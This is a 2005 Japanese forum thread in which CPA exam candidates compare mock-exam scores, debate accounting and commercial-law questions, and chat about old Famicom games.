674 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 19:13:18 ID:???
短答前途ウ練っていつ?

675 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 19:29:29 ID:???
>>674

1日

676 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 20:28:57 ID:???
>>675
大原生なんだけど
早稲田で直接申し込める?

677 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 21:36:04 ID:???
>>676

TACの短答全答練か?
だとしたら早稲田会場はないよ。
5月1日当日に最寄りのTAC校舎に池。直接申し込みも可。

678 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 21:42:09 ID:???
>>677
え、俺大原の水道橋校なんだけど
本屋の隣のTAC本稿でやるのかね
そうなんだありがとう
最後に教えて
おいくら?

679 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 21:50:06 ID:???
>>678

本校でもやるよ。
10:00〜と14:00〜。
受付は9:00〜だから。
料金はスマヌが知らない。

680 :一般に公正妥当と認められた名無しさん:2005/04/24(日) 21:52:26 ID:???
>>679
丁寧にありがとう
当日申し込むとばたばたするから
金曜までに申し込もうかな
TAC入ったことないから緊張するなあ

681 :一般に公正妥当と認められた名無しさん:2005/04/26(火) 22:52:38 ID:???
全答練の結果っていつごろ送付されてくるんでしょうか。
あと、答案は二度と戻ってこないんでしょうか。

リターンリバーサルきぼん。


682 :一般に公正妥当と認められた名無しさん:2005/04/26(火) 23:12:30 ID:???

意味わかってるか?

683 :一般に公正妥当と認められた名無しさん:2005/04/26(火) 23:16:13 ID:???
いいんだ。詳しい意味なんて。

リターンは戻る。
リバースも戻る。

答案が戻って来て欲しいと切に願う受験生の心の叫びを専門用語に乗せて
外界に解き放ったのだよ。


684 :一般に公正妥当と認められた名無しさん:2005/04/26(火) 23:21:18 ID:???
ドローフォーカード
リバースカード

685 :一般に公正妥当と認められた名無しさん:2005/04/26(火) 23:28:18 ID:???
スキップスキップリバーススキップスキップ

686 :一般に公正妥当と認められた名無しさん:2005/04/26(火) 23:40:33 ID:???
ゲッツ!あんどターン!あんどリバース!!


687 :一般に公正妥当と認められた名無しさん:2005/04/26(火) 23:44:28 ID:???
上上下下左右左右BA

688 :一般に公正妥当と認められた名無しさん:2005/04/26(火) 23:52:09 ID:???
上下左右下上右左左右下上右左上!


689 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 01:36:20 ID:???
なんだ?グラディウスの裏技だっけ?w

690 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 09:53:22 ID:???
今どきの受験生世代がなんでグラディウスを知ってるんだ?w


691 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 14:09:31 ID:???
21歳だが知ってるぞ。
俺が小1くらいのときはまだファミリーコンピュータの時代だった。
ドラクエ3とかめっさ流行った。

692 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 15:42:25 ID:xdH6J2rM
グラディウスに限らずコナミのゲームではこの手の裏技は多いよ。
ちなみに今年24歳です。
24歳だとパックマンディフェンスにそこまでの感動は覚えなかった。
ゲームネタもたまにはいいね。

693 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 15:51:48 ID:???
エレベーターアクションとかアイスクライマーにはとみにハマった

694 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 16:43:12 ID:???
ロックマン2とか大好きだった。
ウッドマンには何が効いて、何で攻撃してもダメージが与えられないとかあったなw

695 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 17:56:15 ID:???
スプリングマン

696 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 18:01:41 ID:???
ロックマン2の音楽よすぎ

697 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 20:01:14 ID:???
「ずんずん教の野望」「つっぱり大相撲」 オススメ

698 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 20:24:30 ID:???
ドラクエ2、何回パスワード書き写し間違えたことか・・・

699 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 20:58:04 ID:???
ドラクエ3で友情壊れた奴もいたな。

700 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 20:58:59 ID:???
>>699
なんで?

701 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 21:27:51 ID:xdH6J2rM
何だかやっとみんなが一つになれた気がする。

702 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 21:29:30 ID:???
みんなで落ちれば怖くないってことか?

703 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 21:48:01 ID:???
このまま、みんなで合格の最終ステージクリアだな

704 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 21:50:48 ID:???
任天堂の山内氏、取締役を退任

 任天堂は27日、株主総会を開く6月29日付で山内溥相談役(77)が、55年間務めた取締役を退くと
 発表した。
 同日、年齢や体力的な問題を考え退任したいとの申し出があったという。
 同社は山内氏に対する役員退職慰労金の贈呈を株主総会に提案しないことも明らかにした。
 「会社の将来のために使ってほしい」という本人の意向を尊重したとしている。

 山内氏は1949年、家業のトランプ・カルタメーカー(現任天堂)社長に22歳で就任。
 家庭用ゲーム機「ファミリーコンピュータ」の大ヒットにより同社を世界的なテレビゲームメーカーに
 育てた。

705 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 22:15:39 ID:???
22歳で社長!?すっっげえ!


706 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 23:36:24 ID:???
短答全国模試って
全部で何人ぐらいうけるの?
おしえてちょうだい

707 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 23:37:24 ID:???
>>700
借り物のデータを全部消去してしまったから。

708 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 23:38:14 ID:???
>>706
去年は6000弱

709 :一般に公正妥当と認められた名無しさん:2005/04/27(水) 23:40:10 ID:???
>>78
ありがとう
そんなに受けるんだ
これで上位15パーに入れば
自信がつく

710 :一般に公正妥当と認められた名無しさん:2005/04/28(木) 00:00:56 ID:???
>>709
たくのパンフには10000万以上と書いてあった

711 :一般に公正妥当と認められた名無しさん:2005/04/28(木) 00:27:52 ID:???
>>710
多すぎw

712 :一般に公正妥当と認められた名無しさん:2005/04/28(木) 00:31:13 ID:???
10000以上の間違いだった・・・すまん

713 :一般に公正妥当と認められた名無しさん:2005/04/28(木) 00:32:54 ID:???
>>712
イ`

714 :一般に公正妥当と認められた名無しさん:2005/04/28(木) 01:33:46 ID:4r25DfNF
今回の経済、ミクロは60〜65ぐらい取れたじょ

715 :一般に公正妥当と認められた名無しさん:2005/04/28(木) 20:25:06 ID:???
成績はいつ返ってくるの?

716 :一般に公正妥当と認められた名無しさん:2005/04/28(木) 21:26:07 ID:???
短答ちゃんぴおん二回目今日解いたけど入門生ながら36とった俺は神か!?

717 :一般に公正妥当と認められた名無しさん:2005/04/28(木) 22:46:50 ID:???
漏れも入門だけど36だったよ。


718 :302:2005/04/28(木) 22:55:43 ID:???
おれ39

719 :一般に公正妥当と認められた名無しさん:2005/04/28(木) 23:07:06 ID:???
偏差値65

720 :一般に公正妥当と認められた名無しさん:2005/04/28(木) 23:07:34 ID:???
1位の香具師は偏差値で言うとどれくらいなんだろう

721 :一般に公正妥当と認められた名無しさん:2005/04/29(金) 19:03:53 ID:???
こおろぎ’73

722 :一般に公正妥当と認められた名無しさん:2005/04/29(金) 23:44:02 ID:???
↑漏れの生まれた年じゃねーか。


723 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 17:57:41 ID:ZDi3MN3Y
40声

724 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 18:18:47 ID:???
なんだこのムズさは
例年全答練って何問ぐらいが
上位20パーセントぐらいなの?

725 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 18:21:52 ID:???
簿記5財9原4監査7商法6 31

だめだこりゃ

726 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 18:23:00 ID:???
なんかすごい本試験ぽい問題だった気がする


727 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 18:30:36 ID:???
入門上がり 86687 35むずかすぃ 上位20%は36から

728 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 18:46:54 ID:???
オレは37以上が上位20%だと思う。
簿記がえらい簡単だし。理論も普通。
原計は時間たらんかった・・・・・。

729 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:01:43 ID:???
え、そんなに簡単だった?

730 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:04:12 ID:TMvpFHiZ
上位20は 34から

731 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:06:20 ID:???
毎年35以上なの?ボーダー

732 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:07:06 ID:TMvpFHiZ
去年はC判が33から

733 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:14:42 ID:???
おいおい仕訳の問題
スワップ金利損益だろ

なんで投資有価証券評価損益なんだ

734 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:15:10 ID:???
>>732
C判定ってなーに?
おしえてちょうだい

735 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:17:31 ID:0bCNEiwA
今回は上位50%以内に入っていてこの調子を維持できれば合格可能。


736 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:18:08 ID:TMvpFHiZ
>>734
ボーダラインだよ 

737 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:24:03 ID:???
>>733
あふぉか。時価ヘッジって書いてあっただろ。財表の知識で解け。

今回は40以上は欲しい問題だったな。大原模試よりはるかに簡単だった。

738 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:26:31 ID:???
>>735-736
どっちだい

739 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:26:51 ID:???
大原生だけど
今回の方が全然難しく感じた

740 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:27:44 ID:???
原計商法むずい

741 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:36:39 ID:???
商法は普通だろ。大原模試Aのほうがむしろ難しかった。
原計は大原簿記ほどではない

742 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:41:07 ID:???
>>741
そうか やっぱり他校の問題のほうがむずかしく
感じるのかな

743 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:42:56 ID:???
>>737
なんで金利スワップを時価評価したのに
その損益が投資有価証券評価損益なんだよ
時価ヘッジというのはわかってるよ

744 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:47:30 ID:???
>>743
ヘッジ会計なんだから、有価証券評価損益を相殺してもOKだろ。
繰延ヘッジでも同じようなことするのを思い浮かべればわかる

745 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:48:08 ID:???
99999
45
いつもと一緒だと思うよ

746 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:48:38 ID:???
>>741
いや、俺にとっては大原もTAC他校だが、難易度は
AXL>大原>TACだった。
もうAXL失敗した

747 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:48:47 ID:TMvpFHiZ
neta

748 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:49:12 ID:???
>>745
狙って取ったのか?w ネタか?

749 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:49:38 ID:???
>>744
そういうもんなんか
ありがとう

750 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:50:28 ID:???
>743
自分も多分同じこと考えて×にしました。
凝り固まるとダメなのね。。。
でも本番は間違えないよ!頑張ろう!

751 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:50:56 ID:???
>>750
おお
一緒にがむばろう

752 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:52:29 ID:???
>>750
二人そろって落ちる濃厚w

753 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:55:31 ID:???
>>752



754 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 19:57:02 ID:???
実務指針の設例にもスワップ評価損益ってのってるのに
あれでいいのかよ
それとも試験委員だかの本にのってるのか?
どっちにしてもうぜえな

755 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:01:22 ID:???
59378の32

3年目です。もう本気で死にたいです

756 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:02:18 ID:???
今回30こえてれば結構いいほうなんじゃないの?

757 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:03:08 ID:???
大原の模試で1回合格率80パー(上位20パーいない)
が31問つーのがあったよ
あれよりむずくかんじたけどなあ

758 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:05:39 ID:???
僕大原生。

大原模試A…28点
全答練…38点

簿記で自信回復させていただきました。

759 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:06:07 ID:???
>>757
えー!俺大原生だけど、今日のほうがはるかに簡単な気がする。


760 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:09:51 ID:???
本試験にあてはめたボーダーラインはB判定。
しかしTACにはまりすぎると本試験で玉砕するケースもある。
今回の問題なら32問とれてれば合格ラインにあるといえる。
残りの時間の使い方しだいである。
商法→条文&判例(最高裁)は全て暗記せよ。企業再編と商法総則は必ず出る。
財表→会計基準、連続意見書は丸暗記。実務指針は税効果、連結、企業結合は目とおしておけ。
監査→監査基準丸暗記。委員会報告書も丸暗記。監査報告と監査人の独立性は必ずでる。
理論で失敗しても26問死守せよ。最初の1時間で26問以上とれていることを
確信できれば合格できる。精神的におちつく。

761 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:10:10 ID:???
大原入門生

大原模試@ 37点
大原模試A 36点
全答練   41点

762 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:11:28 ID:???
ま、>>760のようなベテ勉強していると短答落ちするわけだな。


763 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:15:15 ID:???
だれか担当式スレ立てて。なぜか建てられない。
★公認会計士【短答式】試験総合スレ 7★
テンプレ↓

泣いても笑っても、あと一ヶ月。
これに合格しなきゃ話にならねー、本気出して頑張るぞ。
短答式試験についての情報を交換しましょう。

※参考
平成17年度スケジュール
試験日 平成17年5月29日 合格発表日 平成17年6月24日
公認会計士・監査審査会Website
http://www.fsa.go.jp/cpaaob/index.html

ボーダー議論については↓のスレでどうぞ
■2chボーダー予想合格発表後【統一】スレ〜そのD■
http://school4.2ch.net/test/read.cgi/exam/1088339499/l50

過去ログについては>>2-5参照

764 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:15:21 ID:???
>>760
丸暗記なんてできねーよ

765 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:18:12 ID:???
商法42番

譲渡人からの先買権者指定請求があった時だけ
会社は自己を指定できるんじゃあないんですか?

誰か教えて下さい?

766 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:19:51 ID:???
丸暗記といっても書ける必要はなく、見たことあるなという程度で判別できればOK。
今年も新試験の実験台だから財表では実務指針がたくさんでるはずである。

767 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:20:04 ID:???
>>765
問題文勘違いしてるでしょ。
譲渡承認請求なき買受人指定請求はありえません。


768 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:21:29 ID:???
>>765「だけ」ではありませんよ。条文丸暗記してください。新株予約権(付社債)はでますよ。
  

769 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:22:36 ID:JYR6wYeJ
ディスケットときましたよ・・・

770 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:28:05 ID:???
25の変動費差異が納得いかないのでおしえてださい
これって数量差異っぽいのと価格差異
両方はいってるから×300個だとおもうんですけど
だれかおしえてたもれ

771 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:29:26 ID:???
>>768
問題文をよく読んでください。「株式の譲渡人が」と明記されてるので
新株予約権を出してくるのはまったく的が外れています。

772 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:31:45 ID:???
やはり760はただの阿呆か

773 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:32:57 ID:???
TACって判例ってテキストとかにまとめて載ってるの?

774 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:36:14 ID:???
>>770
「変動費差異」なんて問題にありませんよ。
あるのは変動販売費差異です。
変動販売費差異は@6,000×290個−実際発生額1,762,000=−22,000円
です。


775 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:37:01 ID:???
>>773
短答パワーアップにはいちおう網羅されていると思います。


776 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:37:40 ID:???
>>774
あ、ごめんごめん変動販売費差異
これって数量差異っぽいのはださなかったけ?

777 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:38:27 ID:???
>>775
今日の取締役の報酬の判例とかものってるのですか?

778 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:39:13 ID:???
>>776
>これって数量差異っぽいのはださなかったけ?
それは項目別分析の場合ですね。
本問は販売管理活動差異の内訳から要因別分析であることが分かるので、
数量の差異は販売量差異に包含されています。


779 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:39:13 ID:???
ありゃ論証の中で出てくるレベル

780 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:40:38 ID:???
>>778
おお、そうか
販売量差異は限界利益をかけるから
もうすでに計算されてるわけか
ありがとうございます
あなた先生ですか

781 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:42:27 ID:???
>>780
一介の受講生です。


782 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:43:49 ID:???
>>781
なんか先生っぽいけど
とにかくありがとうございました

783 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:44:46 ID:???
万が一先生だったとしても、こんなところでTACの講師ですなんて言えないですね

784 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 20:46:01 ID:???
英とか李とかはコテハンしてなかったっけ?


785 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 21:46:26 ID:???
あー、早く試験終わらせてスパロボのつづきやりたい。

786 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 21:58:52 ID:???
「なお、作業屑の評価額は直接材料費(『当 月 製 造 費 用』)から控除する。」
なんて指示見たことある?

全く想像もしない処理方法なんだけど。。。


787 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 22:00:52 ID:???
いつもの短答は計算科目の出来次第なのに、今回は計算が本試験ぽくて
解きやすかった(簿8原8)。
これでいつもの理論の出来なら40行くかと思ったら、理論がありえない点数にw
点数のひどさもさることながら、採点するまでは「迷った問題も多かったけど
まあそこそこは出来たはず」と勘違いしてたのが痛いw
くぁswでrfgtyふじこ

788 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 22:09:24 ID:???
紙はロール単位で消費する(0.6ロールとかの端数はありえない)と
思い込んでた香具師

 ノシ



789 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 22:09:33 ID:???
問題二って受取利息勘定しかだめなの?
貸し引き戻入れもあるって聞いたんだけど。
むしろ指示ない場合は後者のほうだって記憶していたよーな。

790 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 22:16:55 ID:???
いや、指示がなければむしろ受取利息のはず

791 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 22:22:51 ID:F/Sj+udm
tacの答練初めて受けたんですけど、大原のほうがしっかりしてますね。座席探すのとかめんどくさいし、試験を受ける前にイラっとしました。もっと気持ちよく受けれるよう配慮して欲しいものです。

792 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 22:26:47 ID:???
>>788

ノシ


793 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 22:26:47 ID:???
座席指定だったの?

漏れの校舎は自由席だったが。

794 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 22:27:09 ID:???
内容が本試験ぽかった気がする。
微妙に良問というか・・・

小生、昨年の担当落ちです。

795 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 22:31:54 ID:???
>>792
同志よ。。。


796 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 22:39:13 ID:???
>>790
AXL模試でも同じような問題が出てたが、そんときは指示あった

797 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:02:47 ID:???
どちらが原則・例外じゃないから@もDも正解のような気がするけど。
タック生はみんな受取利息で処理したのかな。

798 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:07:14 ID:???
こういうのは実務指針かな?
それにどちらが原則って書いてなかったらDも正解になるはず

799 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:10:46 ID:???
TAC生よ!!!誰か問題2について講師に質問しておくれ。
そして別解出してくれ!

そもそも、実務指針なんか誰も読んでないのに、こんな問題解ける方がおかしい。
ってか、実務指針に原則が載ってればの話だが

800 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:13:29 ID:???
俺もこの問題は五にしたけど、あえて五を選択肢にいれてるところを
みるとサクモン者の中では原則が受取利息って感じなのかな。
確かにアクセルでは指示があった。

801 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:15:06 ID:???
>>800
まぁ、冷静に考えればそのような思考が働くかもしれんが、あの原計解いた
あとでは辛かった

802 :800:2005/05/01(日) 23:16:54 ID:???
さがしてきたよ・・・
原則・例外あったよ・・・ 



803 :800:2005/05/01(日) 23:17:32 ID:???
将来キャッシュ・フローの見積りは、少なくとも各期末に更新し、貸倒見積高を洗い替える。
割引効果の時間の経過による実現分のうち貸倒見積高の減額分は、原則として、受取利息に含めて処理する。ただし、それを受取利息に含めないで貸倒引当金戻入額として処理することもできる。


804 :800:2005/05/01(日) 23:18:28 ID:???
実務指針より

805 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:22:06 ID:???
799だが、>>800よありがとう。
おいら実務指針もってね〜からな。勉強になった

806 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:22:46 ID:???
他校ではキャッシュフロー見積法における貸引の受取利息計上の処理を習わないのか?

TAC生は通常の答練でもふつーに受取利息の処理してるからあれは割引計算
さえミスらなければ易問中の易問だったと思われ。


807 :800:2005/05/01(日) 23:23:11 ID:???
ヤフーで キャッシュフロー見積法 受取利息 
で検索したらでるよ。
これさえなかったら簿記満天だったからくやしい・・

808 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:23:48 ID:???
大原でも受取利息処理が原則ってみた覚えがある。
ステップか何かのレジュメで。

809 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:25:14 ID:???
「年金資産が退職給付債務を超過した場合、超過分は前払年金資産となる」

これだけだと×?

810 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:25:20 ID:???
つかその指示無し問題何回も大原で出ただろ?原則、知らなかったほうが驚き

811 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:26:23 ID:???
>>800
おいら、本支店で下書き読み間違いしたから、これと合わせて2問落としたorz
本試験がこの程度なら満点取りたい

812 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:27:27 ID:???
>>810
おいら、大原ではないんだな

813 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:27:55 ID:???
知ってたけどそこまで頭はたらなかったよ。orz

814 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:34:05 ID:???
>>809
退職給付債務に「未認識過去勤務債務および未認識数理計算上の差異を
加減した額を超過した場合」でないと×だろうな。



815 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:42:43 ID:4XF4aQzb
結局、今回の原計は「難しかった」のかな?
去年の本試験は26・28が難問だったが。
ただ、受かる人はどんな問題でも簡単に出来る。

去年の論文の財表の新株発行費の処理について注記すべき事項とか、
監査の後発事象にかかる実証手続を列挙する問題も、合格者は概して完璧に書けてたし。

816 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:45:15 ID:???
>>815
君、ベテる才能あるよ。すごいよ

817 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:46:25 ID:???
>>787
原計簡単だった?

818 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:47:05 ID:???
難しいかどうかなんて主観だから比べることに意味はない。
 A「映画おもしろかったな〜!」
 B「全然つまんなかったじゃん!」
てのと一緒。

自分の実力で取るべきところを確実に取れたかどうかが重要。


819 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:48:00 ID:???
そんなことより815の発言の阿呆さに驚き

820 :一般に公正妥当と認められた名無しさん:2005/05/01(日) 23:57:22 ID:???
815とよく似た臭いを放つレスを今までに何度かこの板で目にしている
気がするんだが。。。

気のせいか?


821 :787:2005/05/02(月) 00:11:58 ID:???
>>817
うーん、結果論かもね。
8点のうち自信あったのは6問で、あとの4問は2択or分からん、状態で
そのうち2問正解で8点なんだ。
84854=29ってどうよw こんな理論の点初めてだw

822 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:16:12 ID:???
いや、でも計算でそれだけとれてうらやましか
TACの短答のトウレンて今までも何回かあったでしょ?
その中で今日のって難易度的にどのくらいなの?

823 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:16:37 ID:cx5CdCAg
97588で37ですた。
原価計算にやられますた。

824 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:19:36 ID:???
簡単だったのは簿記と財表だけだったとおもうけど

825 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:20:28 ID:???
ただ、今回の簿記と財表はどこの公開模試見てもこんなに簡単な模試はない

826 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:27:10 ID:???
そんな簿記で4点だった俺は撤退すべき?

827 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:29:21 ID:???
>>826
そんなことを聞く時間があったら勉強汁!

828 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:37:11 ID:???
>>822
TAC生の漏れから見ると、今までの答練で簿記は一番カンタンな部類に属する。
今までは訓練だからワザと時間のかかる問題を多く出してたけど、今回は本試験に
近づけたいという作問者の配慮が見て取れた。

原計はいつもより量が多く、時間も足りない気がした。
財表・監査・商法はいつもどおりという印象。


829 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:41:00 ID:???
>>828
解説ありがとーてんぽーる
あと1ヶ月だからお互いがんばろう

ねる

830 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:42:32 ID:???
とーてんぽーる・・・・

831 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:50:39 ID:???
財表が難しく感じたが、大原やレックでは財表は8を切らなかったが、タック財表6点ですた・・・。
今まで見たことのない肢ばかりで1肢ずつ噛み締めてといてたら25分もかかった・・・。
それで6点なんじゃこりゃ・・・。


832 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:54:21 ID:???
>>830
日本語の「ん」は破裂音の前では自然に「m」の発音になるから許容範囲内。



833 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 00:56:19 ID:???
>>831
ヽ(・∀・)人(・∀・)ノ

今回の財表は手間隙かけて育てた子供がグレて親に反抗してきたって感じ。


834 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 01:00:10 ID:olQVlXgI
去年の全答練よりは難しいと思うよ

835 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 01:04:20 ID:???
去年の本試験が急激に(?)難化した影響だろう。
財表インフレだな。


836 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 01:36:49 ID:???
今30以下の加具師はもう無理だな
撤退しな
早稲田に行くだけの交通費がもったいないよw

837 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 01:51:42 ID:???
wwwww

838 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 01:55:01 ID:???
>>827
あい…
モマイ、イイ奴だなー

839 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 02:03:34 ID:???
>>836
今年は仙台に逝きます

840 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 04:43:07 ID:???
キモいヤツに限って地方受験するな。

841 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 07:21:54 ID:???
うんこ

842 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 08:38:35 ID:???
あんま盛り上がってないな

843 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 09:59:35 ID:OyWem9pL
へへへっ、2番戻し入れは受利で処理すんの知ってたけど、元本からの利息20000忘れて3にしちゃった、へへへっ、話になんないかな?へへへっ

844 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 10:09:49 ID:???
問題20 次の選択肢のうち誤っているものはいくつあるか。

ア)共同支配企業の形成及び共通支配下の取引以外の企業結合のうち、次の要件のいずれかを満たすものは
 持分の結合と判定し、持分の結合と判定されなかったものは取得と判定する。
  
a)企業結合に際して支払われた対価の全てが原則として議決権のある株式であること

  b)結合後企業に対して各結合当事企業の株主が総体として有することになった議決権比率が等しいこと

  c)議決権比率以外の支配関係を示す一定の事実が存在しないこと

イ)負ののれんは原則として20年以内のその効果の及ぶ期間にわたって適切な期間で規則的に償却する。

ウ)取得企業が存続会社と異なる場合、存続会社の個別財務諸表では持分プーリング法に準じた会計処理を
  行う。

エ)追加的に認識するのれん又は負ののれんは、企業結合日時点で認識されたものと仮定して計算し、追加認識
  する事業年度以前に対応する償却額及び減損損失額は損益として認識する。

オ)結合当事企業が3社以上である企業結合においては、議決権比率が最上位の結合当事企業と議決権比率が
  等しいと仮定された全ての結合当事企業について判定手続きを実施して取得企業を決定する。

845 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 10:24:12 ID:???
問題41 以下の選択肢において誤っているものはいくつあるか。

ア)商号の登記は営業所ごとにしなければならず、商号、営業の種類、営業所、商号使用者の氏名及び住所
  をつねに登記しなければならない。

イ)未成年者が営業をしようとするときは、つねに未成年者の氏名・出生の年月日及び住所、営業の種類、
  営業所を登記しなければならない。

ウ)本店の所在地において登記すべき事項は支店の所在地においてもつねにこれを登記しなければならない。

エ)同市町村内において同一の営業のために他人の登記した商号を使用した者は、不正競争の目的をもって
  使用したものとみなされる。

オ)他の会社の営業の全部を譲り受けた個人商人は商号の変更登記によって、商号に会社の種類を含ませなけ
  ればならない。

846 :一般に公正妥当と認められた名無しさん:2005/05/02(月) 10:53:42 ID:???
>>840
ひがむな

